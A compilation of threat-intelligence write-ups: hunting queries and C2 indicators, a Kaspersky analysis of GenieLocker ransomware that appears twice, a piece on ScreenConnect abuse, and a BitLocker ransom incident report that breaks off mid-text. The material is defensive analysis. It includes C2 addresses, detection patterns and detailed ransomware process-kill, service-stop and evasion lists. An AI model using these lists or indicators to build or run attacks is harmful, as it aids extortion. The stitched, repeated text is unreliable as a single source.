let ioc_sha_hashes =dynamic([“918fa52ae45ed60ba7cc8bdc99c3cbe9ab92e0375ec31fc05d0d4513be11c593”, “be99857449d2856dd5a84e21c8a3d5e0e01456adb44062ddec5a6b4970d8d42c”]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or FileSHA256 in (ioc_sha_hashes)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Detect domain and URL indicators of compromise using ASIM

The following query checks domain and URL IOCs across data sources supported by ASIM web session parser:

// file hash list - imFileEvent
// Domain list - _Im_WebSession
let ioc_domains = dynamic(["https://213.145.86.112/t/pixel.gif", "https://213.145.86.112/cdn/chunks/polyfill-7e2b.min.js", "https://213.145.86.112/t/event"]);
_Im_WebSession (url_has_any = ioc_domains)

ChocoShell C2 communications

The following query detects ChocoShell communications with its C2 server using HTTPS with URI paths designed to blend in with legitimate web traffic. Beacons use /t/pixel.gif?m=<status>, mimicking an image tracking pixel.

let lookback = 30d;
let ioc_url_artifacts = dynamic(["/t/pixel.gif?m="]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstDomain  in (ioc_url_artifacts)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Indicators of compromise

References

• https://reliaquest.com/blog/threat-spotlight-dns-poisoning-tactics-expand-to-hospitality/
• https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post CaptiveCrunch: Midnight Blizzard targets travelers worldwide for malware delivery and credential theft appeared first on Microsoft Security Blog.

Introduction

The new GenieLocker ransomware family has been active since March 2026. It has been used in attacks against organizations in the Russian Federation, primarily in the manufacturing sector, and attributed to the Toy Ghouls group by open-source intelligence (link in Russian).

The Toy Ghouls, also known as Bearlyfy, Labubu and Laboo.boo, is a financially motivated extortion group, which previously relied on third-party encryption Trojans like RedAlert, LockBit, and Babuk. GenieLocker, apparently a custom design, upgrades their toolkit and reduces their reliance on third-party software. We discovered multiple samples of this Trojan in two variants: PE builds for Windows and ELF builds for Linux and ESXi.

Technical details

Modus operandi

We described typical TTPs and modus operandi of the Toy Ghouls threat actor in the previous post (link in Russian).

In this article, we aim to thoroughly describe the capabilities of Windows and Linux builds of the custom encryption Trojan GenieLocker. To give more context, we will also provide a brief overview of the attack that took place at the end of March 2026, where GenieLocker was deployed on the victim’s systems.

Initial Access

During the incident, the attackers first entered the environment through an OpenVPN connection originating from an external partner’s network. They likely exploited the trusted relationship with that partner and used stolen, yet still valid, credentials to connect.

Discovery and Credential Access

After breaching the target’s network, the attackers installed additional tools on the compromised hosts, including OpenSSH, socks5.exe, SoftPerfect Network Scanner, and Mimikatz. They employed SoftPerfect Network Scanner for discovery and used Mimikatz to dump credentials. Forensic analysis also shows that they accessed the KeePassXC password manager already installed on several compromised machines, likely attempting to extract the stored credentials from the KeePass databases.

Lateral Movement and Command and Control

Lateral movement was performed by using RDP to reach Windows machines and SSH for Linux servers. The widespread deployment of the encryption Trojan was conducted with the legitimate utilities PsExec and PAExec. Additionally, the attackers established a reverse SSH tunnel to communicate with their command‑and‑control server.

Impact

During the impact phase, the attackers encrypted files on the compromised Windows machines with the PE version of the GenieLocker ransomware. On the compromised Linux and ESXi servers, they stopped active virtual machines and encrypted their disks using the ELF version of GenieLocker.

The tactics, techniques, and procedures seen here match those documented in earlier attacks attributed to the Toy Ghouls group. As in those prior incidents, forensic analysis found no evidence of data exfiltration, which is typical behavior for this threat actor. Toy Ghouls have not employed a double‑extortion model and do not run a data‑leak website.

Encryption Trojan for Windows

The Windows version of GenieLocker (MD5: 5d62c1349b8981c396c9a23f4f8f053c) is primarily written in C, but compiled with the C++ libraries using Microsoft Visual C/C++. The malware incorporates several ransom‑related capabilities, including process termination, service shutdown, debugger evasion, and a sophisticated encryption routine. For its cryptographic operations, it relies on the open‑source libsodium library.

Aligned with the recent trend supported by our expertise, as observed in attacks of some other ransomware strains, GenieLocker doesn’t save the ransom notes on the victim’s system. The Trojan doesn’t contain any attackers’ contact info or negotiation addresses. Instead, the attackers will need to deliver the ransom demands and contacts manually during the attack. This approach may be an attempt by the GenieLocker developers to avoid proactive detection of the ransomware process being triggered by the creation of multiple readme files.

GenieLocker help message

Arguments and launch

GenieLocker supports multiple arguments for configuring its behavior.

GenieLocker expects the first argument to be a hex string referred to in the malware code as the “secret argument”, which is required for the ransomware to start. Most likely, the purpose of this is to avoid execution on sandboxes and other automated analysis environments. Another reason may be to prevent unauthorized usage by other threat actors.

Checking the secret argument

The secret argument is a hex value with a variable size that does not exceed 4096 bytes. This hex string value is converted to bytes and hashed with the SHA‑256 algorithm. The result is compared to a hardcoded value. If they match, the literal string session is appended to the secret value, and the whole string is hashed with BLAKE2b‑256, but the resulting hash is never used. This may be a part of a feature still in development.

Secret value hashing

Anti-debugging

GenieLocker contains multiple methods to inspect if its process is under debugging. After launch it makes the first check named Environment check and uses WinAPI functions IsDebuggerPresent and CheckRemoteDebuggerPresent to detect the debugger.

Environment check

After the secret argument validation, GenieLocker starts a new parallel thread called watchdog. It runs in an infinite loop that performs a number of checks to detect well-known debuggers every 500 milliseconds. If at least one of the checks fails, the whole GenieLocker process immediately terminates.

Watchdog checks

The only thing worth elaborating on is that the GenieLocker process calculates the CRC32 of its .text section when the watchdog thread is starting, saves the resulting hash, and then recalculates it again in every loop and compares with the initial value. In case the code in this section is modified by the debugger or other program, this method allows the Trojan to detect this modification.

Preparing for encryption

GenieLocker contains multiple exclusion lists. For example, it does not encrypt folders with names from the list below. Among those, there are mostly system folders, which are skipped to avoid corrupting the OS.

$recycle.bin;config.msi;$windows.~bt;$windows.~ws;windows;boot;program files;program files (x86);programdata;system volume information;tor browser;windows.old;intel;msocache;perflogs;x64dbg;public;all users;default;microsoft;appdata

The Trojan also avoids encrypting the following system Windows files.

autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntldr;ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db;GDIPFONTCACHEV1.DAT;d3d9caps.dat

The file extensions below are excluded from encryption as well.

386;adv;ani;bat;bin;cab;cmd;com;cpl;cur;deskthemepack;diagcab;diagcfg;diagpkg;dll;drv;exe;hlp;icl;icns;ico;ics;idx;ldf;lnk;mod;mpa;msc;msp;msstyles;msu;nls;nomedia;ocx;prf;ps1;rom;rtp;scr;shs;spl;sys;theme;themepack;wpx;lock;key;hta;msi;pdb;search-ms;MD

Furthermore, the Trojan contains an exclusion list for host names. The malware retrieves the computer name using GetComputerNameA and checks it against this list, but in the sample in question, the list is empty.

Output for whitelisted hosts

If the host name is not excluded, GenieLocker starts to kill processes that could be using the files of interest and therefore prevent the Trojan from encrypting them. These processes are listed below. The Trojan stops them by using the TerminateProcess function.

sql;oracle;ocssd;dbsnmp;synctime;agntsvc;isqlplussvc;xfssvccon;mydesktopservice;ocautoupds;encsvc;firefox;tbirdconfig;mydesktopqos;ocomm;dbeng50;sqbcoreservice;excel;infopath;msaccess;mspub;onenote;outlook;powerpnt;steam;thebat;thunderbird;visio;winword;wordpad;notepad;calc;wuauclt;onedrive;1c;vmwp;vmms;vmcompute;mssqlserver

Additionally, the Trojan stops the following services using ControlService with the SERVICE_CONTROL_STOP control code.

vss;sql;svc$;memtas;mepocs;msexchange;sophos;veeam;backup;GxVss;GxBlr;GxFWD;GxCVD;GxCIMgr;1c;Mssqlserver;vmwp;vmms;vmcompute;mssqlserver;agent_ovpnconnect

Finally, GenieLocker starts encryption threads and searches for all available drives, including network shares, to encrypt them.

Threads info output

File encryption and cryptography

The extension for the encrypted files is hardcoded in the Trojan’s body. In the sample under review, it is .03ffc1c4a3da0f02. Before starting to encrypt each file, GenieLocker creates two auxiliary files:

• a lock file: <filename.fileext>.03ffc1c4a3da0f02.lock
• a journal: <fileext>.03ffc1c4a3da0f02.journal

The lock file helps to protect files from double encryption by other threads or instances. Inside this file, the Trojan stores the current PID obtained from the GetCurrentProcessId function.

The journal file contains the hardcoded string VCJOURN, value 1 (possibly version), some unused zeroed fields, total blocks to encrypt, and the count of blocks that are actually encrypted. The last field is a CRC32 hash sum for the integrity check of the journal content.

Journal content

By default GenieLocker encrypts files using 0x1000000-byte chunks. If the argument -p is passed (it sets the percentage of the file contents to be encrypted), the ransomware calculates how many chunks with 0x1000000 size are necessary to encrypt the specified percentage. Each chunk has a random position inside the file. Regardless of whether the percentage is set, even if it is zero, the first chunk in the beginning of the file will be encrypted anyway.

The Trojan encrypts the file content using the Authenticated Encryption with Associated Data (AEAD) algorithm XChaCha20-Poly1305, with a unique key and nonce for each file. The Trojan also adds a footer that contains the data necessary for future decryption and metadata. The metadata parts are encrypted using the same cipher and key as the file contents, but with a different nonce. The file key is encrypted using the Curve25519-XSalsa20-Poly1305 scheme, with the attackers’ master public key hardcoded in the Trojan’s body.

The metadata of each encrypted file contains the following fields.

The chunks bitmask contains as many bits as the maximum number of chunks inside a file at 100%. If a bit at a specific index is set to 1, the chunk is encrypted. The value 0 means that the chunk is not encrypted. Since the Trojan encrypts files based on the percentage value, it needs to know which chunks were encrypted.

Metadata structure at the end of an encrypted file (without a Poly1305 tags array or bitmask)

Encryption Trojan for ESXi and Linux

Compared with its Windows counterpart, the Linux and ESXi version of GenieLocker (MD5: 9201e35e2993612612919a3c71302cab) is simpler: there is no secret argument, anti‑debugging techniques, or exclusion lists. However, the sample has ESXi-specific features, such as double‑fork support and the ability to modify the Welcome Message. The sample has the version v1 and, similarly to the Windows version, uses the libsodium library for cryptography.

ESXi version description

The command‑line help output mirrors LockBit’s styling, reinforcing the theory that GenieLocker’s creators set out to craft a LockBit‑style replacement for their own operations.

LockBit output design, possibly the source layout for the GenieLocker ESXi variant

Based on the default path of the encryption directory /vmfs/volumes, we can assume that this version is intended primarily for ESXi. Nonetheless, it can still be executed on Linux distributions.

ESXi and Linux features

This build allows daemonizing its process with the -d flag, employing the classic double‑fork method so the new process becomes fully detached from its parent.

This variant also modifies the /etc/vmware/welcome file, which contains the Welcome Message (Message of the Day) on the ESXi operating system. On Linux distributions, it does not change anything, because they use different paths for the Message of the Day. In the GenieLocker sample examined here, the message is left empty.

Additionally, the ESXi version supports a few basic features that are not included in the Windows version. For instance, there is a launch‑delay option and the ability to set the number of encryption worker threads. This build also includes several features that already exist in the Windows variant, such as configuring the percentage of a file to encrypt, choosing the target directory, and setting the log file location.

File encryption

The encryption scheme for files is identical to the Windows version. The Trojan uses XChaCha20-Poly1305 to encrypt the file content and metadata, and Curve25519-XSalsa20-Poly1305 for key encryption.

File encryption summary

Victims

According to KSN telemetry, GenieLocker detections are overwhelmingly concentrated on endpoints located in the Russian Federation. In the March 2026 campaign, the primary sector under siege was manufacturing, with construction trailing closely, followed by financial services, retail, and technology.

Conclusions

Toy Ghouls are ramping up their campaign against Russian enterprises. The rollout of their home‑grown encryption Trojan GenieLocker marks a major upgrade to the group’s ransomware toolkit. By engineering bespoke ransomware that runs natively on Windows, Linux, and ESXi, the actor has cut their dependence on off‑the‑shelf ransomware families and unified the cryptographic backbone across all targeted platforms.

Kaspersky’s products detect this malware as Trojan-Ransom.Win64.Agent.genie, HEUR:TrojanRansom.Win64.Generic, Trojan-Ransom.Linux.Agent.genie.

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

GenieLocker for Windows

A50EAAF514F4F84E61CA2455A8789753 kftd.exe, genie_encrypt.exe
F08F476F26B01D142CA73923DE65FC0C
FD46A80C2F45577263328984EDF7F4DC
DE3CFBB50F66079BFEE20A6F64E59433
780C8F4C6F077DA4DA96582987920362
D87D0B01D95ACC936B7DC47B8F41937A run.exe, genie_encrypt.exe
34A7F28E0BB69B0D49BACC88BDF20AC1 run.exe, run2.exe, genie.exe
5D62C1349B8981C396C9A23F4F8F053C genie_encrypt.exe
A8842616C9057D5CF6E1FE1FA8C3C160
34B8828635F88078735799A3C1AC8E28
D3E06EB34D8EEE7EF92CAC3AD0A20FF5
C68B6862725777651085650DB34947FC consultant.exe
9CD514FF2809CE0B993E3B8649E82A94
824CA1E906CC073EE5B0F3519DF69A8F
25480DAD40152EF3D0C6D38EECC9BD9B
7DAD78584795AA5C160520CC6ACCF260
18F61C6D686CFFD131C9FD3F3437064B tempo.exe, kernel.exe
9969A8221312DBA70DD5CBDDF83A146C
F7B9E36E94163A9A303160945F99267A
B893EAFED0659F70D4AC250F09073723
D661CF666B9ACBAB7CFEAE1127A261A9 genie.exe
3A4479B51890373BFC4A011EF41FE376
58C0DDA52B8F069660166D61FD74F911

GenieLocker for Linux and ESXi

9201E35E2993612612919A3C71302CAB vzdump

C2

89[.]125.66.101

Introduction

The new GenieLocker ransomware family has been active since March 2026. It has been used in attacks against organizations in the Russian Federation, primarily in the manufacturing sector, and attributed to the Toy Ghouls group by open-source intelligence (link in Russian).

The Toy Ghouls, also known as Bearlyfy, Labubu and Laboo.boo, is a financially motivated extortion group, which previously relied on third-party encryption Trojans like RedAlert, LockBit, and Babuk. GenieLocker, apparently a custom design, upgrades their toolkit and reduces their reliance on third-party software. We discovered multiple samples of this Trojan in two variants: PE builds for Windows and ELF builds for Linux and ESXi.

Technical details

Modus operandi

We described typical TTPs and modus operandi of the Toy Ghouls threat actor in the previous post (link in Russian).

In this article, we aim to thoroughly describe the capabilities of Windows and Linux builds of the custom encryption Trojan GenieLocker. To give more context, we will also provide a brief overview of the attack that took place at the end of March 2026, where GenieLocker was deployed on the victim’s systems.

Initial Access

During the incident, the attackers first entered the environment through an OpenVPN connection originating from an external partner’s network. They likely exploited the trusted relationship with that partner and used stolen, yet still valid, credentials to connect.

Discovery and Credential Access

After breaching the target’s network, the attackers installed additional tools on the compromised hosts, including OpenSSH, socks5.exe, SoftPerfect Network Scanner, and Mimikatz. They employed SoftPerfect Network Scanner for discovery and used Mimikatz to dump credentials. Forensic analysis also shows that they accessed the KeePassXC password manager already installed on several compromised machines, likely attempting to extract the stored credentials from the KeePass databases.

Lateral Movement and Command and Control

Lateral movement was performed by using RDP to reach Windows machines and SSH for Linux servers. The widespread deployment of the encryption Trojan was conducted with the legitimate utilities PsExec and PAExec. Additionally, the attackers established a reverse SSH tunnel to communicate with their command‑and‑control server.

Impact

During the impact phase, the attackers encrypted files on the compromised Windows machines with the PE version of the GenieLocker ransomware. On the compromised Linux and ESXi servers, they stopped active virtual machines and encrypted their disks using the ELF version of GenieLocker.

The tactics, techniques, and procedures seen here match those documented in earlier attacks attributed to the Toy Ghouls group. As in those prior incidents, forensic analysis found no evidence of data exfiltration, which is typical behavior for this threat actor. Toy Ghouls have not employed a double‑extortion model and do not run a data‑leak website.

Encryption Trojan for Windows

The Windows version of GenieLocker (MD5: 5d62c1349b8981c396c9a23f4f8f053c) is primarily written in C, but compiled with the C++ libraries using Microsoft Visual C/C++. The malware incorporates several ransom‑related capabilities, including process termination, service shutdown, debugger evasion, and a sophisticated encryption routine. For its cryptographic operations, it relies on the open‑source libsodium library.

Aligned with the recent trend supported by our expertise, as observed in attacks of some other ransomware strains, GenieLocker doesn’t save the ransom notes on the victim’s system. The Trojan doesn’t contain any attackers’ contact info or negotiation addresses. Instead, the attackers will need to deliver the ransom demands and contacts manually during the attack. This approach may be an attempt by the GenieLocker developers to avoid proactive detection of the ransomware process being triggered by the creation of multiple readme files.

GenieLocker help message

Arguments and launch

GenieLocker supports multiple arguments for configuring its behavior.

GenieLocker expects the first argument to be a hex string referred to in the malware code as the “secret argument”, which is required for the ransomware to start. Most likely, the purpose of this is to avoid execution on sandboxes and other automated analysis environments. Another reason may be to prevent unauthorized usage by other threat actors.

Checking the secret argument

The secret argument is a hex value with a variable size that does not exceed 4096 bytes. This hex string value is converted to bytes and hashed with the SHA‑256 algorithm. The result is compared to a hardcoded value. If they match, the literal string session is appended to the secret value, and the whole string is hashed with BLAKE2b‑256, but the resulting hash is never used. This may be a part of a feature still in development.

Secret value hashing

Anti-debugging

GenieLocker contains multiple methods to inspect if its process is under debugging. After launch it makes the first check named Environment check and uses WinAPI functions IsDebuggerPresent and CheckRemoteDebuggerPresent to detect the debugger.

Environment check

After the secret argument validation, GenieLocker starts a new parallel thread called watchdog. It runs in an infinite loop that performs a number of checks to detect well-known debuggers every 500 milliseconds. If at least one of the checks fails, the whole GenieLocker process immediately terminates.

Watchdog checks

The only thing worth elaborating on is that the GenieLocker process calculates the CRC32 of its .text section when the watchdog thread is starting, saves the resulting hash, and then recalculates it again in every loop and compares with the initial value. In case the code in this section is modified by the debugger or other program, this method allows the Trojan to detect this modification.

Preparing for encryption

GenieLocker contains multiple exclusion lists. For example, it does not encrypt folders with names from the list below. Among those, there are mostly system folders, which are skipped to avoid corrupting the OS.

$recycle.bin;config.msi;$windows.~bt;$windows.~ws;windows;boot;program files;program files (x86);programdata;system volume information;tor browser;windows.old;intel;msocache;perflogs;x64dbg;public;all users;default;microsoft;appdata

The Trojan also avoids encrypting the following system Windows files.

autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntldr;ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db;GDIPFONTCACHEV1.DAT;d3d9caps.dat

The file extensions below are excluded from encryption as well.

386;adv;ani;bat;bin;cab;cmd;com;cpl;cur;deskthemepack;diagcab;diagcfg;diagpkg;dll;drv;exe;hlp;icl;icns;ico;ics;idx;ldf;lnk;mod;mpa;msc;msp;msstyles;msu;nls;nomedia;ocx;prf;ps1;rom;rtp;scr;shs;spl;sys;theme;themepack;wpx;lock;key;hta;msi;pdb;search-ms;MD

Furthermore, the Trojan contains an exclusion list for host names. The malware retrieves the computer name using GetComputerNameA and checks it against this list, but in the sample in question, the list is empty.

Output for whitelisted hosts

If the host name is not excluded, GenieLocker starts to kill processes that could be using the files of interest and therefore prevent the Trojan from encrypting them. These processes are listed below. The Trojan stops them by using the TerminateProcess function.

sql;oracle;ocssd;dbsnmp;synctime;agntsvc;isqlplussvc;xfssvccon;mydesktopservice;ocautoupds;encsvc;firefox;tbirdconfig;mydesktopqos;ocomm;dbeng50;sqbcoreservice;excel;infopath;msaccess;mspub;onenote;outlook;powerpnt;steam;thebat;thunderbird;visio;winword;wordpad;notepad;calc;wuauclt;onedrive;1c;vmwp;vmms;vmcompute;mssqlserver

Additionally, the Trojan stops the following services using ControlService with the SERVICE_CONTROL_STOP control code.

vss;sql;svc$;memtas;mepocs;msexchange;sophos;veeam;backup;GxVss;GxBlr;GxFWD;GxCVD;GxCIMgr;1c;Mssqlserver;vmwp;vmms;vmcompute;mssqlserver;agent_ovpnconnect

Finally, GenieLocker starts encryption threads and searches for all available drives, including network shares, to encrypt them.

Threads info output

File encryption and cryptography

The extension for the encrypted files is hardcoded in the Trojan’s body. In the sample under review, it is .03ffc1c4a3da0f02. Before starting to encrypt each file, GenieLocker creates two auxiliary files:

• a lock file: <filename.fileext>.03ffc1c4a3da0f02.lock
• a journal: <fileext>.03ffc1c4a3da0f02.journal

The lock file helps to protect files from double encryption by other threads or instances. Inside this file, the Trojan stores the current PID obtained from the GetCurrentProcessId function.

The journal file contains the hardcoded string VCJOURN, value 1 (possibly version), some unused zeroed fields, total blocks to encrypt, and the count of blocks that are actually encrypted. The last field is a CRC32 hash sum for the integrity check of the journal content.

Journal content

By default GenieLocker encrypts files using 0x1000000-byte chunks. If the argument -p is passed (it sets the percentage of the file contents to be encrypted), the ransomware calculates how many chunks with 0x1000000 size are necessary to encrypt the specified percentage. Each chunk has a random position inside the file. Regardless of whether the percentage is set, even if it is zero, the first chunk in the beginning of the file will be encrypted anyway.

The Trojan encrypts the file content using the Authenticated Encryption with Associated Data (AEAD) algorithm XChaCha20-Poly1305, with a unique key and nonce for each file. The Trojan also adds a footer that contains the data necessary for future decryption and metadata. The metadata parts are encrypted using the same cipher and key as the file contents, but with a different nonce. The file key is encrypted using the Curve25519-XSalsa20-Poly1305 scheme, with the attackers’ master public key hardcoded in the Trojan’s body.

The metadata of each encrypted file contains the following fields.

The chunks bitmask contains as many bits as the maximum number of chunks inside a file at 100%. If a bit at a specific index is set to 1, the chunk is encrypted. The value 0 means that the chunk is not encrypted. Since the Trojan encrypts files based on the percentage value, it needs to know which chunks were encrypted.

Metadata structure at the end of an encrypted file (without a Poly1305 tags array or bitmask)

Encryption Trojan for ESXi and Linux

Compared with its Windows counterpart, the Linux and ESXi version of GenieLocker (MD5: 9201e35e2993612612919a3c71302cab) is simpler: there is no secret argument, anti‑debugging techniques, or exclusion lists. However, the sample has ESXi-specific features, such as double‑fork support and the ability to modify the Welcome Message. The sample has the version v1 and, similarly to the Windows version, uses the libsodium library for cryptography.

ESXi version description

The command‑line help output mirrors LockBit’s styling, reinforcing the theory that GenieLocker’s creators set out to craft a LockBit‑style replacement for their own operations.

LockBit output design, possibly the source layout for the GenieLocker ESXi variant

Based on the default path of the encryption directory /vmfs/volumes, we can assume that this version is intended primarily for ESXi. Nonetheless, it can still be executed on Linux distributions.

ESXi and Linux features

This build allows daemonizing its process with the -d flag, employing the classic double‑fork method so the new process becomes fully detached from its parent.

This variant also modifies the /etc/vmware/welcome file, which contains the Welcome Message (Message of the Day) on the ESXi operating system. On Linux distributions, it does not change anything, because they use different paths for the Message of the Day. In the GenieLocker sample examined here, the message is left empty.

Additionally, the ESXi version supports a few basic features that are not included in the Windows version. For instance, there is a launch‑delay option and the ability to set the number of encryption worker threads. This build also includes several features that already exist in the Windows variant, such as configuring the percentage of a file to encrypt, choosing the target directory, and setting the log file location.

File encryption

The encryption scheme for files is identical to the Windows version. The Trojan uses XChaCha20-Poly1305 to encrypt the file content and metadata, and Curve25519-XSalsa20-Poly1305 for key encryption.

File encryption summary

Victims

According to KSN telemetry, GenieLocker detections are overwhelmingly concentrated on endpoints located in the Russian Federation. In the March 2026 campaign, the primary sector under siege was manufacturing, with construction trailing closely, followed by financial services, retail, and technology.

Conclusions

Toy Ghouls are ramping up their campaign against Russian enterprises. The rollout of their home‑grown encryption Trojan GenieLocker marks a major upgrade to the group’s ransomware toolkit. By engineering bespoke ransomware that runs natively on Windows, Linux, and ESXi, the actor has cut their dependence on off‑the‑shelf ransomware families and unified the cryptographic backbone across all targeted platforms.

Kaspersky’s products detect this malware as Trojan-Ransom.Win64.Agent.genie, HEUR:TrojanRansom.Win64.Generic, Trojan-Ransom.Linux.Agent.genie.

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

GenieLocker for Windows

A50EAAF514F4F84E61CA2455A8789753 kftd.exe, genie_encrypt.exe
F08F476F26B01D142CA73923DE65FC0C
FD46A80C2F45577263328984EDF7F4DC
DE3CFBB50F66079BFEE20A6F64E59433
780C8F4C6F077DA4DA96582987920362
D87D0B01D95ACC936B7DC47B8F41937A run.exe, genie_encrypt.exe
34A7F28E0BB69B0D49BACC88BDF20AC1 run.exe, run2.exe, genie.exe
5D62C1349B8981C396C9A23F4F8F053C genie_encrypt.exe
A8842616C9057D5CF6E1FE1FA8C3C160
34B8828635F88078735799A3C1AC8E28
D3E06EB34D8EEE7EF92CAC3AD0A20FF5
C68B6862725777651085650DB34947FC consultant.exe
9CD514FF2809CE0B993E3B8649E82A94
824CA1E906CC073EE5B0F3519DF69A8F
25480DAD40152EF3D0C6D38EECC9BD9B
7DAD78584795AA5C160520CC6ACCF260
18F61C6D686CFFD131C9FD3F3437064B tempo.exe, kernel.exe
9969A8221312DBA70DD5CBDDF83A146C
F7B9E36E94163A9A303160945F99267A
B893EAFED0659F70D4AC250F09073723
D661CF666B9ACBAB7CFEAE1127A261A9 genie.exe
3A4479B51890373BFC4A011EF41FE376
58C0DDA52B8F069660166D61FD74F911

GenieLocker for Linux and ESXi

9201E35E2993612612919A3C71302CAB vzdump

C2

89[.]125.66.101

Leveraging legitimate software is one of cybercriminals’ tactics of choice, with remote management tools ranking among their top tools. A recent example involves the remote administration utility ScreenConnect. It’s designed for IT support teams to troubleshoot systems and configure software seamlessly in the background. However, when weaponized by threat actors, ScreenConnect becomes a versatile attack vehicle used to harvest data, deploy malware, and move laterally across corporate networks.

During a recent incident detected by Kaspersky Managed Detection and Response, our experts identified an attempt to use ScreenConnect in an attack. This allowed a detailed study of how attackers used this application in a large-scale malware distribution campaign. The following breakdown illustrates the mechanics of ScreenConnect-assisted attacks, and outlines key strategies to defend your organization against them.

How ScreenConnect reaches target computers

In the campaign analyzed by our experts, the attackers bundled ScreenConnect with legitimate free business software. They established a network of phishing websites to spoof popular tools, including OBS Studio, DS4Windows, DNS Jumper, Glary Utilities, Bandizip, Process Hacker, and others.

These rogue websites featured high-quality designs that could be taken for the official pages, making them highly convincing to unsuspecting users. Once the victim clicks the download button for the software, an archive is downloaded to their computer that contains additional files alongside the requested application:

• A legitimately signed Microsoft executable (exe), renamed to match the expected application installer (for example, OBS-Studio-Installer.exe)
• A malicious library named res.1033.dll
• An Assets directory containing installers for both ScreenConnect and the intended application

Launching the renamed file disguised as the app installer triggers DLL sideloading of a malicious library. This library silently runs the ScreenConnect installation without restarting the system, while using the standard Windows installer to set up the software the user originally tried to install.

The attackers used search engine optimization techniques to drive traffic to their fake websites. As a result, these malicious pages appeared at the top of search results for certain free software utilities on major search engines.

Our experts discovered over 90 domain names translated into more than 10 different languages. While most of these websites targeted English, Russian, and Chinese speakers, several domains catered to German, French, Spanish, Arabic, and other regional audiences.

A detailed analysis of the IP addresses and associated spoofed domains is available in our technical research article on Securelist, along with full indicators of compromise.

Why the attackers exploited ScreenConnect

In this campaign, attackers leveraged ScreenConnect to generate and execute malicious scripts on victim machines. These scripts served several key functions: they created exclusions for specific drives, directories, and processes within Windows Defender, disabled the User Account Control (UAC) security mechanism, and delivered and deployed AsyncRAT – a remote access Trojan.

To maintain persistence, the scripts configured a Windows scheduled task to run the malicious code at preset intervals. AsyncRAT then established a connection with the attackers’ command-and-control server to receive further instructions.

The primary objective of this campaign appears to be gaining unauthorized access to enterprise systems, likely to then resell it on cybercrime marketplaces.

How to secure corporate infrastructure

Although ScreenConnect in and of itself is a legitimate tool, its presence poses a security risk to corporate environments. Consequently, Kaspersky security solutions detect this application as not-a-virus:HEUR:RemoteAdmin.MSIL.ConnectWise.gen.

Security teams should implement the following controls:

• Enforce strict application control policies, including software allowlisting and restrictions on MSI package installations from unverified sources
• Monitor for newly installed remote management utilities and scheduled tasks
• Filter outbound network traffic from workstations to unknown IP addresses and domains

As noted previously, this campaign was originally detected through the Kaspersky Managed Detection and Response service, which can be employed to protect against such threats.

Recently, our teams in Latin America investigated a series of incidents involving misconfiguration, the deployment of BitLocker, and the exploitation of corporate printers. Attackers used the devices to notify organizations that their infrastructure had been compromised and they had to pay a ransom to recover their data.

This article analyzes two incidents that occurred in June in Colombia and in May in Mexico. We highlight the similarities in the attackers’ communications and outline emerging trends in ransom amounts.

Initial sign of an attack

In both cases, the affected users initially noticed a padlock icon next to their drives in Windows Explorer. This indicated that the drive was encrypted with BitLocker, blocking access to its contents.

Drive icon indicating that the drive is locked

A recovery key was required to unlock the drive.

Attempt to access the disk’s contents and the prompt for the BitLocker recovery key

This is not the first time we have seen such threats; a few years ago, our team discovered a threat known as ShrinkLocker, which utilized BitLocker to achieve its goals.

First case: abusing RDP to encrypt data

One of the incidents occurred in Colombia in June. The attackers exploited an internet-exposed RDP service on a machine connected to an 8 TB storage device containing mission-critical data. After taking control of the system and manipulating user credentials, the attackers enabled BitLocker exclusively on the drive that primarily stored financial data. Once the encryption was complete, they locked the drive and used the company’s printers to produce ransom notes.

Ransomware note

Unfortunately, it was not possible to obtain evidence in the case due to the company’s rush to restore the encrypted disk. The communication with the attackers revealed a demand for just $3,000, and the company considered paying the ransom. After that, the system was restored before the forensic team could take any action, eliminating the evidence needed to assess the incident.

Attacker’s reply to the victim’s email sent to the address in the printed ransom note

This attack was made possible by an internet-facing remote desktop service (RDP) with additional open ports, which employees used to access corporate information. By exploiting this network exposure and misconfiguration, attackers breached the system, identified an additional drive, and leveraged BitLocker to encrypt the data and demand a ransom payment. Leaving RDP ports open without proper security controls jeopardizes the security of systems and information, as highlighted in the our “Global Report: Anatomy of a Cyber World“.

Exposed ports identified in the system in recent months

The company confirmed that, due to compatibility issues with applications required for operation, EPP (Endpoint Protection Platform) protection was disabled on the system, making it easier for attackers to validate, enumerate, and execute applications without revealing malicious activity to central monitoring systems.

Second case: meet the XEntry Team

In another incident, which occurred in Mexico in May, our team identified how the threat actor gained initial access to the infrastructure. They exploited a misconfigured MSSQL service. This allowed them to execute commands on the system after obtaining the database login credentials from code insecurely published on GitHub.

XEntry team attack

In this incident, the attack began three months prior to detection, with the intruder discovering and verifying their access to the environment. After confirming their access and privilege level within the MSSQL server settings, which extended beyond the DBMS to the underlying operating system, the attackers initially focused on manipulating certain aspects of the web server configuration on the same system. They lowered the server’s security settings and created web shell files in the publicly accessible folders. Many of these attempts to manipulate the service or create malicious files were contained by existing EPP security controls, but despite the alerts, the necessary investigation to address the activity was not conducted.

Commands executed when attempting to manipulate the web server

The attackers subsequently confirmed their ability to execute commands locally and set up their attack infrastructure to transmit data via a communications bridge. By exploiting the MSSQL service, they gained access to each of the organization’s internal systems.

